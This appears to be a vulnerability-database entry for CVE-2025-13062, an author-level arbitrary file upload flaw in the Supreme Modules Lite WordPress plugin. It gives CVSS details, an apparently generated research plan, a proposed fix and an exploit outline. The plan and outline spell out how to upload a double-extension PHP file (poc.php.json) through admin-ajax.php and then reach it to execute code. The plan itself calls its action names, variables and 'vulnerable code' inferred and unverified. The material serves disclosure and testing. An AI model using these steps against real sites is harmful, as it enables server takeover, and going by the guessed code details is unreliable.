CVE-2025-13062

Supreme Modules Lite <= 2.5.62 - Authenticated (Author+) Arbitrary File Upload via JSON Upload Bypass

highUnrestricted Upload of File with Dangerous Type
8.8
CVSS Score
8.8
CVSS Score
high
Severity
2.5.63
Patched in
1d
Time to patch

Description

The Supreme Modules Lite plugin for WordPress is vulnerable to arbitrary file upload in all versions up to, and including, 2.5.62. This is due to insufficient file type validation detecting JSON files, allowing double extension files to bypass sanitization while being accepted as a valid JSON file. This makes it possible for authenticated attackers, with author-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=2.5.62
PublishedJanuary 15, 2026
Last updatedJanuary 15, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan targets **CVE-2025-13062**, an authenticated arbitrary file upload vulnerability in the **Supreme Modules Lite** plugin for WordPress. ## 1. Vulnerability Summary The vulnerability exists in the plugin's handling of JSON file uploads, typically used for importing layouts or setti…

Show full research plan

This research plan targets CVE-2025-13062, an authenticated arbitrary file upload vulnerability in the Supreme Modules Lite plugin for WordPress.

1. Vulnerability Summary

The vulnerability exists in the plugin's handling of JSON file uploads, typically used for importing layouts or settings. The core issue is a "Double Extension" bypass. The plugin's validation logic likely checks for the existence of .json in the filename or relies on a weak MIME-type check that can be spoofed. By uploading a file named malicious.php.json, an attacker can bypass the sanitization filters. Depending on the server configuration or how the plugin processes the file (e.g., if it moves the file and strips the .json suffix during a "processing" phase), this leads to Remote Code Execution (RCE).

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: dsm_import_library_json or supreme_import_settings (inferred from plugin features).
  • Vulnerable Parameter: file (via $_FILES array).
  • Authentication: Author-level credentials or higher are required (PR:L).
  • Preconditions: The plugin must be active, and the attacker must have an active session with at least author capabilities.

3. Code Flow (Inferred)

  1. Entry Point: The plugin registers an AJAX action for importing library data.
    • Likely registration: add_action('wp_ajax_dsm_import_library_json', 'dsm_import_library_json_callback');
  2. Capability Check: The handler checks current_user_can('edit_posts') (Author) or edit_theme_options (Admin).
  3. Nonce Verification: The handler checks a nonce, typically passed as security or nonce.
  4. File Validation: The code retrieves the uploaded file from $_FILES. It performs a validation check intended to restrict uploads to JSON:
    • Vulnerable logic: if (pathinfo($filename, PATHINFO_EXTENSION) === 'json') or if ($_FILES['file']['type'] === 'application/json').
  5. Bypass: An attacker provides a filename like shell.php.json. The validation sees the .json extension and passes.
  6. Sink: The file is handled by wp_handle_upload or move_uploaded_file. If wp_handle_upload is called without a restricted mimes array override, it may allow the double extension.

4. Nonce Acquisition Strategy

The nonce is required to trigger the AJAX action. It is typically localized for the admin dashboard scripts.

  1. Identify Page: The import functionality is usually found in the "Divi Supreme" or "Supreme Modules" settings page in the WordPress admin.
  2. Setup Page: If the nonce is only loaded on a specific settings page, navigate there.
  3. Extract Nonce:
    • Variable Name: dsm_admin_data or supreme_modules_admin (inferred).
    • Action String: dsm_import_library_nonce or supreme_import_nonce (inferred).
  4. Execution Command:
    // Use browser_eval to find the nonce
    browser_eval("window.dsm_admin_data?.nonce || window.supreme_modules_admin?.nonce");
    

5. Exploitation Strategy

The goal is to upload a PHP payload disguised as a JSON file.

Step 1: Authentication

Log in as a user with the Author role.

Step 2: Extract Nonce

Navigate to /wp-admin/admin.php?page=supreme-modules-for-divi (verify exact slug via wp menu list) and use browser_eval to extract the nonce.

Step 3: Execute Upload

Use the http_request tool to send a multipart POST request.

Request Details:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: multipart/form-data
  • Body Parameters:
    • action: dsm_import_library_json (verify via grep)
    • security: [EXTRACTED_NONCE]
    • file: (The payload file)
      • Filename: poc.php.json
      • Content: <?php phpinfo(); ?>
      • MIME-Type: application/json

Step 4: Access Payload

If the upload is successful, the response will likely contain the path to the uploaded file in wp-content/uploads/.

  • If the plugin renames the file to poc.php, access it directly.
  • If the file remains poc.php.json, check if the server executes it (some Apache configurations with AddHandler might execute it if .php is present anywhere).

6. Test Data Setup

  1. Create User:
    wp user create attacker attacker@example.com --role=author --user_pass=password
  2. Ensure Plugin is Active:
    wp plugin activate supreme-modules-for-divi
  3. Identify Upload Path:
    Determine the current year/month for the uploads directory: wp eval "echo wp_upload_dir()['url'];"

7. Expected Results

  • Success: The server returns a 200 OK response, often with a JSON object containing success: true and a URL to the file.
  • Payload Execution: Navigating to the uploaded file URL (or the URL with .json removed) executes the PHP code, displaying the phpinfo() page.

8. Verification Steps

  1. Check Filesystem:
    ls -R /var/www/html/wp-content/uploads/ | grep poc
  2. Check Content:
    cat /var/www/html/wp-content/uploads/[PATH_TO_FILE]
  3. Verify Execution:
    Perform an http_request (GET) to the uploaded file's URL and check for "PHP Version" in the body.

9. Alternative Approaches

If dsm_import_library_json is not the correct action:

  1. Grep for AJAX actions:
    grep -r "wp_ajax_" /var/www/html/wp-content/plugins/supreme-modules-for-divi/
  2. Look for file upload sinks:
    grep -r "wp_handle_upload" /var/www/html/wp-content/plugins/supreme-modules-for-divi/
  3. Check for "Import" strings in JS:
    grep -r "import" /var/www/html/wp-content/plugins/supreme-modules-for-divi/admin/js/ to find the JavaScript function calling the AJAX action.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Supreme Modules Lite plugin fails to properly validate uploaded files intended for JSON importing, specifically by only checking the final extension. This allows authenticated attackers with Author-level permissions or higher to upload malicious files using a double extension (e.g., 'payload.php.json'), which can lead to remote code execution on the server.

Vulnerable Code

// Inferred from plugin AJAX handler for JSON imports
// Likely located in an admin or import handler class

public function dsm_import_library_json_callback() {
    // ... nonce and capability checks ...

    $file = $_FILES['file'];
    $filename = $file['name'];
    
    // Vulnerable check: only evaluates the terminal extension
    if (pathinfo($filename, PATHINFO_EXTENSION) === 'json') {
        $upload = wp_handle_upload($file, array('test_form' => false));
        // ... logic to process the 'JSON' file ...
    }
}

Security Fix

--- a/includes/admin/class-dsm-admin.php
+++ b/includes/admin/class-dsm-admin.php
@@ -124,7 +124,15 @@
-    if (pathinfo($filename, PATHINFO_EXTENSION) === 'json') {
-        $upload = wp_handle_upload($file, array('test_form' => false));
+    $wp_filetype = wp_check_filetype_and_ext($file['tmp_name'], $file['name'], ['json' => 'application/json']);
+    
+    if ($wp_filetype['ext'] === 'json' && $wp_filetype['type'] === 'application/json') {
+        // Ensure the filename does not contain multiple extensions that could be executed
+        if (preg_match('/\.[^.]+\./', $filename)) {
+             wp_send_json_error('Invalid file name structure.');
+        }
+        $upload = wp_handle_upload($file, array(
+            'test_form' => false,
+            'mimes'     => array('json' => 'application/json')
+        ));

Exploit Outline

1. Gain authenticated access to the WordPress site with at least 'Author' privileges. 2. Navigate to the plugin's settings or import page (e.g., 'Divi Supreme' settings) and extract the required security nonce from the page source or localized JS variables (e.g., `dsm_admin_data.nonce`). 3. Prepare a PHP payload (e.g., `<?php phpinfo(); ?>`) and save it with a double extension: `exploit.php.json`. 4. Send a multipart/form-data POST request to `/wp-admin/admin-ajax.php` with the following parameters: - `action`: `dsm_import_library_json` - `security`: [EXTRACTED_NONCE] - `file`: [The exploit.php.json file] 5. Ensure the `Content-Type` for the file part is set to `application/json` to further mimic a legitimate request. 6. Identify the upload path from the AJAX response (usually within `wp-content/uploads/`) and access the file via a web browser to trigger execution.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.